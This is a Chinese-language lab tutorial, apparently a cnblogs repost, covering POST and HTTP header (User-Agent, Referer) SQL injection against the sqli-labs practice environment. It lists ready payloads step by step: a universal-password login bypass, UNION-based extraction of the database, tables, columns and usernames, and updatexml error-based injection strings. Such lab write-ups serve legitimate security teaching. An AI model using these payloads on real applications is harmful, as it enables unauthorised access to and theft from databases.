其他分享
首页 > 其他分享> > POST/HEAD头注入

POST/HEAD头注入

作者:互联网

3.POST注入

                     

        post注入 最经典的post传参莫过于万能密码.语句和get传参没太大的区别

         也是有分为单引号注入和其他类型     可以使用万能密码 在sqli-labs第十一关靶场可以看到是一个单引号注入。我们输入'or 1=1-- we 显示登陆成功并显示出信息。

        我们接下来就开始使用oredr by: 可以发现只有两个字段

                                       

            爆显错位

                   输入  ' or 1=1 union select 1,2-- qw  正常显示发现只有两个显错位。

            爆数据库 

                   输入  ' or 1=2 union select 1,database()-- qw ,来爆出其数据库。

                                    

             爆表

                    输入 ' or 1=2 union select 1,table_name from information_schema.tables where table_schema='security'limit 1,1-- qw

                                   

 

              爆字段

                       输入  ' or 1=2 union select 1,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 1,1-- qw

              爆数据 

                         输入 ' or 1=2 union select 1,username from users limit 1,1-- qw

                                   

HEAD头注入 heder注入一般都是登录后操作。

             我使用火狐可以进行抓包,但是谷歌使用插件不可以,我也不知道为什么

            插入语句没有回显  1.盲注 (下个贴) 2.报错注入强行看返回  (updatexml函数)

             我们在数据库实验一下SELECT updatexml(1,"!",1);发现报出错误,这正是我们想要的

                                      

             concat会让字符串拼接起来

              语法:updatexml (目标xml内容,xml文档路径,更新的内容) updatexml(1, concat("!",database()) ,1)  让其报错显示出内容。

    (1)User-Agent注入

             因为是登录之后才可以进行注入。所以我们要先猜测账号密码,因为之前都是显示Duma所以这次我们使用这个账号密码来进行实验,发现登陆成功。

                                   

                     接下来我们判断注入点在哪,我们在user-agent输入’闭合。发现有数据库报错。说明这个地方和数据库交互,

                                   

                    我们在‘号后面用 ,1,1)-- qw进行闭合,没有报错,所以语句里有三个字段。

                                   

              爆数据库

                             输入'or updatexml(1,concat("!",database()),1),1,1)-- qw。可以得到数据库的名

                                  

              爆表

                             输入   'or updatexml(1,concat("!",(select table_name from information_schema.tables where table_schema='security'limit 1,1)),1),1,1)-- qw 

              爆字段

                            输入 'or updatexml(1,concat("!",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)),1),1,1)-- qw

 

              爆数据

                              输入   'or updatexml(1,concat("!",(select username from users limit 1,1)),1),1,1)-- qw

 

    (2)referer注入

                     同理我们在referer输入’发现报错,说明这里存在注入。

                      通过实验我们可以知道是单引号闭合方式。‘,1)-- qw

                                

                 爆数据库

                             输入  'or updatexml(1,concat("!",database()),1),1)-- qw

                爆表          

                             输入     'or updatexml(1,concat("!",(select table_name from information_schema.tables where table_schema='security'limit 1,1)),1),1)-- qw

                 爆字段      

                             输入    'or updatexml(1,concat("!",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)),1),1)-- qw

                爆数据  

                            输入 'or updatexml(1,concat("!",(select username from users limit 1,1)),1),1)-- qw

           

                               

 

标签:HEAD,qw,--,updatexml,table,POST,schema,select,注入
来源: https://www.cnblogs.com/chenyanlark/p/15487217.html